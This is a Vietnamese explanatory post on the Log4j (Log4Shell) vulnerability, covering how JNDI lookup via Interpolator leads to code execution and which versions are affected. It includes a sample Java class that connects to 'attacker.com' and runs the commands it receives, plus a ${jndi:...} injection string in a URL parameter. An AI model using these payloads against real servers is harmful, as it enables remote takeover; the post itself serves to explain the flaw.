Để hiểu rõ hơn chúng ta phải hiểu về log4j một chút. Log4j sử dụng chain of responsibility design pattern, thế nên ở bên trong nó sẽ có các Appender
. Khi một dòng log kiểu logger.info("Hello: {}", param)
thì đoạn log này sẽ chạy qua tất cả các appender thể thực hiện các công việc tương ứng, ví dụ in ra màn hình, ghi vào file, và trong đó có 1 lớp tên là: RoutingAppender. Lớp này sẽ gọi đến hàm StrSubstitutor.resolveVariable
. Hàm này sẽ đi lấy giá trị của biến, và đau lòng thay, nó gọi lại đến lớp Interpolator.
Lớp Interpolator sẽ tìm kiếm qua nhiều giao thức, trong đó có giao thức JNDI để lấy ra giá trị của biến, và thế là bùm. Kẻ tấn công sẽ tạo ra 1 lớp thế này:
public class Log4jShell { static { try { Socket socket = new Socket("attacker.com", 1234); Scanner scanner = new Scanner(socket.getInputStream()); while(true) { String command = scanner.nextLine(); ProcessBuilder pb = new ProcessBuilder(command); pb.start(); } } catch (Exception e) {} } }
Và hắn thông quan tham số name truyền lên server kiểu: https://web_site_cua_chung_ta/hello?name=${jndi://web_site_cua_ke_tan_cong.com/Log4jShell.class}<
, và cùng với câu lệnh logger ở trên. Lớp Interpolator sẽ lấy giá trị của biến bằng cách lấy lớp Log4jShell.class về, và thế là toang, kẻ tấn công sẽ có hẳn 1 cái terminal xịn sò trên server của chúng ta và muốn làm gì thì làm.
Nhược điểm của lỗ hổng lần này là nó làm cho cả thế giới tán loạn. Phải đi release lại toàn bộ các sản phẩm đang dùng 2.0 <= log4j-core <= 2.14.1
.
Còn ưu điểm là nó cũng cho thấy được Java nó phổ biến và được sử dụng rộng rãi đến mức nào. Thế nên anh em cứ tự tin khi lựa chọn Java để làm ngôn ngữ lập trình backend cho mình và cho tổ chức của mình nhé.
Tham khảo thêm nếu anh em cần nhé: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks